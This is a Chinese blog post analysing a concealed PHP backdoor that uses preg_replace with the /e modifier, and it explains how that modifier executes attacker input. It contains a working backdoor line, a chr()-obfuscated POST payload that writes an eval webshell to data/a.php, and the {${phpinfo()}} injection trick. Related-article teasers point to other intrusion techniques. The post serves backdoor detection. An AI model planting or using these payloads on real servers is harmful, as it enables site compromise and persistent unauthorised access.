记一次发现利用preg_replace隐藏后门和后续探究

所属分类: 网络安全 / 脚本攻防 阅读数: 0
收藏 0 赞 0 分享

事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到,小黑的伎俩很高级,每次使用完毕总是把后门删掉,但是每次都能继续进来,总是找不到从哪进来的。这个着实让人蛋疼。
 
后来,终于在日志中发现一丝蛛丝马迹,通过我的分析,我发现一个IP总是很奇怪的POST数据到某个文件。然后一段时间后,此IP就访问一个莫名奇妙文件,名字很显眼明显不是正常系统文件,而是PHP后门。但是很快使用完毕后门就被删除了。
 
哈哈,遇到小黑蛮细心的。
 
然后通过分析发现,小黑的访问的文件发现代码:
 
@preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);
 
如果你看到这个代码是不是有的也没什么问题,但是,这个就是小黑的掩藏的恶意代码和后门。隐蔽吧,基本上任何查杀软件都查杀不到。
 
preg_replace函数原型:
 
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
 
特别说明:
 
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
 
上面的代码是POST接受数据要测试,比较麻烦,如果换成GET获取数据的话。。。
 
举例:
 
 echo preg_replace(“/test/e”,$_GET["h"],”jutst test”);
 
如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
 
如果我们要POST的话,我们测试提交下面的代码会怎么样呢?
 
h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
 
密文对应的明文是:
 
fputs(fopen(data/a.php,w),);
 
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。
 
这个就恐怖了吧。。。。
 
再来一个有难度的例子:
 
 

复制代码
代码如下:

<?
function test($str)
{
}
echo preg_replace(“/s*[php](.+?)[/php]s*/ies”, ‘test(“\1″)’, $_GET["h"]);
?>

提交 ?h=phpinfo() ,phpinfo()会被执行吗?
 
肯定不会。因为经过正则匹配后, replacement 参数变为’test(“phpinfo”)’,此时phpinfo仅是被当做一个字符串参数了。
 
有没有办法让它执行呢?
 
当然有。在这里我们如果提交?h={${phpinfo()}},phpinfo()就会被执行。为什么呢?
 
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
 
注意:双引号中的函数不会被执行和替换。
 
在这里我们需要通过{${}}构造出了一个特殊的变量,’test(“{${phpinfo()}}”)’,达到让函数被执行的效果(${phpinfo()}会被解释执行)。
 
可以先做如下测试:
 
echo “{${phpinfo()}}”; phpinfo会被成功执行了。
 
所以,各位查找后门的时候注意查找下。
 
OK,说了那么多,也了解了,以上我给的代码:
 
 @preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);
 
看似很正常的代码,其实就是一个极度危险的代码,隐藏颇深啊。哈哈。希望对大家有帮助
 
作者:合肥制造

更多精彩内容其他人还在看

Oracle的使用技巧以及脚本代码

 1. 如何查看ORACLE的隐含参数?   ORACLE的显式参数,除了在INIT.ORA文件中定义的外,在svrmgrl中用"show parameter *",可以显示。但ORACLE还有一些参数是以“_”,开头的。如我们非常熟悉... 查看详情
收藏 0 赞 0 分享

php包含漏洞替代技术的方法与介绍 php文件包含漏洞详解

================ php包含漏洞替代技术 ================ php开发者们犯得一个基本的错误是把一个不正当的变量传递给系统函数,特别是include()和require()这两个函数。 这个常见的错误导致了众所周知的远程文件包含漏洞和本地文件包含漏... 查看详情
收藏 0 赞 0 分享

一次奇遇的渗透

作者:y0umer   打开网站发现   习惯的加了一个引号   确定是注入以后直接丢啊D了。(我懒)   这不悲剧了么,猜不出表段??   扫扫目录看看。   发现del.asp打开看看。。   错误提示的是在查询表达式中"id=&q... 查看详情
收藏 0 赞 0 分享

mssql2005 DB权限导出一句话

网站路径也搞到了,本想使用差异备份,在数据库日志中插入一句话,然后备份到网站目录下拿shell的,估计是用户没有备份数据库的权限,但使用MSSQL2000的备份方法根本行不通,后来才想到MSSQL2005的备份和MSSQL2000有点不同。 后来在网上搜半天没有找到具体的备份语句... 查看详情
收藏 0 赞 0 分享

PHP木马大全 一句话的PHP木马的防范

php后门木马常用的函数大致上可分为四种类型:   1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open   2. 代码执行与加密: eval, assert, call_user_func,base64_... 查看详情
收藏 0 赞 0 分享

PoisonIvy Rat 远程溢出实战

From&thx2:http://badishi.com/poison-ivy-exploit-metasploit-module/https://twitter.com/badishi这个Exploit已经集成在最新版本的Msf中了,老外的文章里也有源文件,可以修改后单... 查看详情
收藏 0 赞 0 分享

防止SQL注入攻击的一些方法小结

-----解决方案--------------------------------------------------------过滤URL中的一些特殊字符,动态SQL语句使用PrepareStatement.. ------解决方案-----------------------... 查看详情
收藏 0 赞 0 分享

脚本入侵 入侵ewebeditor编辑器一些技巧

eWebEditor编辑器 建议最好检测下admin_style.asp文件是否可以直接访问 直接到样式管理 默认后台地址:/ewebeditor/admin_login.asp 使用默认密码:admin/admin 或 admin/admin888 不行就默认数据库路径 eWe... 查看详情
收藏 0 赞 0 分享

脚本入侵 ASP网站入侵常用的一些技巧分享

如果是html格式的站我们先打开网站然后单击鼠标右键 按查看源文件-编辑-查找输入asp 看有没有网站ASP文件或ASP带参数1:注入点先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什... 查看详情
收藏 0 赞 0 分享

脚本入侵-上传漏洞总结篇(臭小子)

1:抓包上传 我们可以用WSockExpert(抓包工具) hkcpost抓包提交软件或等等抓包工具 说下hkcpost有时候电脑打不开WSockExpert(抓包工具) 我们就用这工具 很好用 说到抓包上传 比如一个上传地址http://site/upload.asp 或后台管... 查看详情
收藏 0 赞 0 分享
查看更多